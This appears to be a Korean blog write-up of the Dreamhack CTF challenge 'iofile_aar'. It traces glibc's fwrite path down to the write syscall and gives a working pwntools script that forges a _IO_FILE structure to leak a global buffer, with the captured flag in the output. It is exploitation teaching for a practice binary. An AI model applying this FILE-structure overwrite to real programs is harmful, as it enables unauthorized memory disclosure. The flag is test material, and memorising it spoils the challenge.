_IO_FILE Arbitrary Address Read

    Description

    Exploit Tech: _IO_FILE Arbitrary Address Read에서 실습하는 문제입니다.

    checksec

    seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Read$ checksec ./iofile_aar
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Decompiled-src

    iofile_aar.c

    // Name: iofile_aar
    // gcc -o iofile_aar iofile_aar.c -no-pie
    
    #include <stdio.h>
    #include <unistd.h>
    #include <string.h>
    
    char flag_buf[1024];
    FILE *fp;
    
    void init() {
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
    }
    
    int read_flag() {
        FILE *fp;
        fp = fopen("/home/iofile_aar/flag", "r");
        fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
        fclose(fp);
    }
    
    int main() {
      const char *data = "TEST FILE!";
    
      init();
      read_flag();
    
      fp = fopen("/tmp/testfile", "w");
    
      printf("Data: ");
    
      read(0, fp, 300);
    
      fwrite(data, sizeof(char), sizeof(flag_buf), fp);
      fclose(fp);
    }
    • read_flag() 함수에서 “/home/iofile_aar/flag” 파일을 읽고, 전역 변수인 flag_buf에 저장한다.
    • “/tmp/testfile” 파일을 쓰기 모드로 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있다.
      이를 통해 _IO_FILE 구조체 조작이 가능하다.
    • 파일 포인터를 덮어쓴 후에는, “/tmp/testfile” 파일에 “TEST FILE!” 문자열을 작성한다.

    Solution

    파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
    이번에도 마찬가지로, 파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.

    대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
    파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.

    파일을 쓰는 함수들은 라이브러리 내부에서 _IO_sputn (_IO_new_file_xsputn)  함수를 호출한다.

    fwrite 함수에 대해 살펴보면,

    https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/putw.c#L20

    #include <stdio.h>
    #include <libio/iolibio.h>
    #define fwrite(p, n, m, s) _IO_fwrite (p, n, m, s)

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofwrite.c#L30

    _IO_size_t
    _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
    {
      _IO_size_t request = size * count;
      _IO_size_t written = 0;
      CHECK_FILE (fp, 0);
      if (request == 0)
        return 0;
      _IO_acquire_lock (fp);
      if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
        written = _IO_sputn (fp, (const char *) buf, request);
      _IO_release_lock (fp);
      /* We have written all of the input in case the return value indicates
         this or EOF is returned.  The latter is a special case where we
         simply did not manage to flush the buffer.  But the data is in the
         buffer and therefore written as far as fwrite is concerned.  */
      if (written == request || written == EOF)
        return count;
      else
        return written / size;
    }
    libc_hidden_def (_IO_fwrite)

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L377

    #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

    https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1219

    _IO_size_t
    _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
    {
      const char *s = (const char *) data;
      _IO_size_t to_do = n;
      int must_flush = 0;
      _IO_size_t count = 0;
    
      if (n <= 0)
        return 0;
      /* This is an optimized implementation.
         If the amount to be written straddles a block boundary
         (or the filebuf is unbuffered), use sys_write directly. */
    
      /* First figure out how much space is available in the buffer. */
      if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
        {
          count = f->_IO_buf_end - f->_IO_write_ptr;
          if (count >= n)
    	{
    	  const char *p;
    	  for (p = s + n; p > s; )
    	    {
    	      if (*--p == '\n')
    		{
    		  count = p - s + 1;
    		  must_flush = 1;
    		  break;
    		}
    	    }
    	}
        }
      else if (f->_IO_write_end > f->_IO_write_ptr)
        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
    
      /* Then fill the buffer. */
      if (count > 0)
        {
          if (count > to_do)
    	count = to_do;
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
          to_do -= count;
        }
      if (to_do + must_flush > 0)
        {
          _IO_size_t block_size, do_write;
          /* Next flush the (full) buffer. */
          if (_IO_OVERFLOW (f, EOF) == EOF)
    	/* If nothing else has to be written we must not signal the
    	   caller that everything has been written.  */
    	return to_do == 0 ? EOF : n - to_do;
    
          /* Try to maintain alignment: write a whole number of blocks.  */
          block_size = f->_IO_buf_end - f->_IO_buf_base;
          do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
    
          if (do_write)
    	{
    	  count = new_do_write (f, s, do_write);
    	  to_do -= count;
    	  if (count < do_write)
    	    return n - to_do;
    	}
    
          /* Now write out the remainder.  Normally, this will fit in the
    	 buffer, but it's somewhat messier for line-buffered files,
    	 so we let _IO_default_xsputn handle the general case. */
          if (to_do)
    	to_do -= _IO_default_xsputn (f, s+do_write, to_do);
        }
      return n - to_do;
    }
    libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

    fwrite → _IO_fwrite → _IO_sputn → _IO_XSPUTN → _IO_new_file_xsputn
    이렇게 최종적으로 라이브러리 내부에서 _IO_new_file_xsputn 함수를 호출하는 것을 알 수 있다.

    • _IO_new_file_xsputn
    _IO_size_t
    _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
    {
      const char *s = (const char *) data;
      _IO_size_t to_do = n;
      int must_flush = 0;
      _IO_size_t count = 0;
    
    ...
      if (to_do + must_flush > 0)
        {
          _IO_size_t block_size, do_write;
          /* Next flush the (full) buffer. */
          if (_IO_OVERFLOW (f, EOF) == EOF)
    ...
    }

    _IO_XSPUTN 함수의 매크로이며, 실제로는 _IO_new_file_xsputn 함수를 호출한다.

    이 함수에서는 인자인 data와 size를 검사한 다음, _IO_OVERFLOW() → _IO_new_file_overflow 함수를 호출한다.

    int
    _IO_new_file_overflow (_IO_FILE *f, int ch)
    {
      if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
        {
          f->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return EOF;
        }
      ...
      if (ch == EOF)
        return _IO_do_write (f, f->_IO_write_base,
    			 f->_IO_write_ptr - f->_IO_write_base);
      ...
    }

    _IO_new_file_overflow 함수에서는 파일 포인터의 _flags 변수에 쓰기 권한이 부여되있는지 확인하고,
    해당 함수의 인자로 전달된 ch가 EOF(= -1)이라면 _IO_do_write (_IO_new_do_write) 함수를 호출한다.

    _IO_size_t
    _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
    {
    ...
          if (_IO_OVERFLOW (f, EOF) == EOF)
    ...
    }

    _IO_new_file_overflow()를 호출할 때 인자로 EOF를 전달하므로 
    _IO_do_write (_IO_new_do_write) 함수가 호출된다는 것을 알 수 있다.

    int
    _IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
    {
      return (to_do == 0
    	  || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
    }

    _IO_new_do_write 함수가 호출될 때 전달되는 인자를 보면,
    파일 구조체의 멤버 변수, fp가 들어감을 알 수 있다.

    static
    _IO_size_t
    new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
    {
      _IO_size_t count;
      if (fp->_flags & _IO_IS_APPENDING)
        /* On a system without a proper O_APPEND implementation,
           you would need to sys_seek(0, SEEK_END) here, but is
           not needed nor desirable for Unix- or Posix-like systems.
           Instead, just indicate that offset (before and after) is
           unpredictable. */
        fp->_offset = _IO_pos_BAD;
      else if (fp->_IO_read_end != fp->_IO_write_base)
        {
          _IO_off64_t new_pos
    	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
          if (new_pos == _IO_pos_BAD)
    	return 0;
          fp->_offset = new_pos;
        }
      count = _IO_SYSWRITE (fp, data, to_do);
      if (fp->_cur_column && count)
        fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
      _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
      fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
      fp->_IO_write_end = (fp->_mode <= 0
    		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
    		       ? fp->_IO_buf_base : fp->_IO_buf_end);
      return count;
    }

    _IO_do_write 함수는 내부적으로 new_do_write 함수를 호출한다.

    하나씩 살펴보면…

    if (fp->_flags & _IO_IS_APPENDING)

    파일 쓰기에 앞서 파일 포인터의 _flags 와 _IO_IS_APPENDING 플래그가 포함되어있는지 확인한다.

    count = _IO_SYSWRITE (fp, data, to_do);

    다음으로 new_do_write 함수의 인자인 fp와 data, 그리고 to_do를 인자로 _IO_SYSWRITE 함수를 호출하는데,
    이는 vtable의 _IO_new_file_write 함수를 호출한다.

    _IO_ssize_t
    _IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n)
    {
      _IO_ssize_t to_do = n;
      while (to_do > 0)
        {
          _IO_ssize_t count = (__builtin_expect (f->_flags2
    					     & _IO_FLAGS2_NOTCANCEL, 0)
    			   ? __write_nocancel (f->_fileno, data, to_do)
    			   : __write (f->_fileno, data, to_do));
          if (count < 0)
    	{
    	  f->_flags |= _IO_ERR_SEEN;
    	  break;
    	}
          to_do -= count;
          data = (void *) ((char *) data + count);
        }
      n -= to_do;
      if (f->_offset >= 0)
        f->_offset += n;
      return n;
    }

    _IO_new_file_write 함수에서는 write 시스템 콜을 통해 파일에 데이터를 작성한다.
    시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno_IO_write_base인 data,
    그리고 _IO_new_file_overflow을 참고하면 _IO_write_ptr - _IO_write_base로 연산된 to_do 변수가 전달된다.

    즉, 파일 구조체의 _flags , _fileno_IO_write_ptr_IO_write_base 를 조작할 수 있다면, IO Arbitrary Read로 메모리를 읽을 수 있다.

    write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

    write 시스템 콜을 호출할 때, 위와 같이 실행되는데,

    정상적인 동작이라면, _IO_write_base 를 기점으로 _IO_write_ptr - _IO_write_base 크기만큼 쓰기를 수행한다.

    즉, _fileno를 stdout으로 조작하고 _IO_write_base 에 읽을 주소를 저장 후 _IO_write_ptr 을 “읽을 크기만큼 더한 값”을 저장하면 임의의 주소를 읽을 수 있다!


    이제 fwrite 함수에서 참조하는 파일 구조체를 조작해서 flag_buf에 저장된 flag를 읽어보자.

    Breakpoint 1, 0x00000000004007df in main ()
    gdb-peda$ p *(FILE *)$rax
    $1 = {
      _flags = 0xfbad2484,
      _IO_read_ptr = 0x0,
      _IO_read_end = 0x0,
      _IO_read_base = 0x0,
      _IO_write_base = 0x0,
      _IO_write_ptr = 0x0,
      _IO_write_end = 0x0,
      _IO_buf_base = 0x0,
      _IO_buf_end = 0x0,
      _IO_save_base = 0x0,
      _IO_backup_base = 0x0,
      _IO_save_end = 0x0,
      _markers = 0x0,
      _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
      _fileno = 0x3,
      _flags2 = 0x0,
      _old_offset = 0x0,
      _cur_column = 0x0,
      _vtable_offset = 0x0,
      _shortbuf = "",
      _lock = 0x602340,
      _offset = 0xffffffffffffffff,
      _codecvt = 0x0,
      _wide_data = 0x602350,
      _freeres_list = 0x0,
      _freeres_buf = 0x0,
      __pad5 = 0x0,
      _mode = 0x0,
      _unused2 = '\000' <repeats 19 times>
    }

    fopen(“/tmp/testfile”, “w”);한 직후의 FILE 구조체를 살펴보면 위와 같다.

    write(f->_fileno, _IO_write_base, _IO_write_ptr – _IO_write_base);

    위에서 언급했던 것처럼 _IO_new_file_write() 에서 write 시스템 콜을 호출되기 때문에,
    fp를 조작할 수 있으므로 write 시스템 콜을 통해 flag_buf를 읽게 만들면 된다.

    먼저, _flags 검증을 우회하기위해 _flags_IO_MAGIC과 _IO_IS_APPENDING 비트를 포함한 값으로 덮어쓴다.

    다음으로 flag_buf를 출력하기 위해 _IO_write_base와 _IO_write_ptr을 각각 flag_buf 주소와 flag_buf + 300 주소를 입력한다.

    마지막으로 _fileno를 stdout으로 조작하여 flag_buf를 출력시킨다.
    그 외 나머지 변수들은 0을 입력해야되는데, 이러한 이유는 new_do_write 함수에서 lseek 시스템 콜이 호출될 수 있기 때문이다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("host3.dreamhack.games", 17606)
    #p = process("./iofile_aar")
    e = ELF('./iofile_aar', checksec=False)
    libc = ELF('./libc.so.6', checksec=False)
    
    flag_buf = e.symbols['flag_buf']
    
    #write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
    #write(stdout, flag_buf, 500);
    payload = p64(0xfbad0000 | 0x800)	#_flags (_IO_MAGIC | _IO_IS_APPENDING)
    payload += p64(0)	#_IO_read_ptr
    payload += p64(flag_buf)	#_IO_read_end
    payload += p64(0)	#_IO_read_base
    payload += p64(flag_buf)	#_IO_write_base
    payload += p64(flag_buf+500)	#_IO_write_ptr
    payload += p64(0)	#_IO_write_end
    payload += p64(0)	#_IO_buf_base
    payload += p64(0)	#_IO_buf_end
    payload += p64(0)	#_IO_save_base
    payload += p64(0)	#_IO_backup_base
    payload += p64(0)	#_IO_save_end
    payload += p64(0)	#_markers
    payload += p64(0)	#_chain
    payload += p64(1)	#_fileno (stdout)
    
    p.sendlineafter(b"Data: ", payload)
    
    p.interactive()

    Result

    seohyun-gyu@MacBook-Pro > ~/Desktop/dreamhack/_IO_FILE_Arbitrary_Address_Read > 
    python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 17606: Done
    [*] Switching to interactive mode
    DH{395880f6942dff77f2a9ee1e47546825a0f0a4865b706aa6ca44bdcd4f5c7eac}
    \x00...[*] Got EOF while reading in interactive
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 17606

    Reference

    https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Read

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다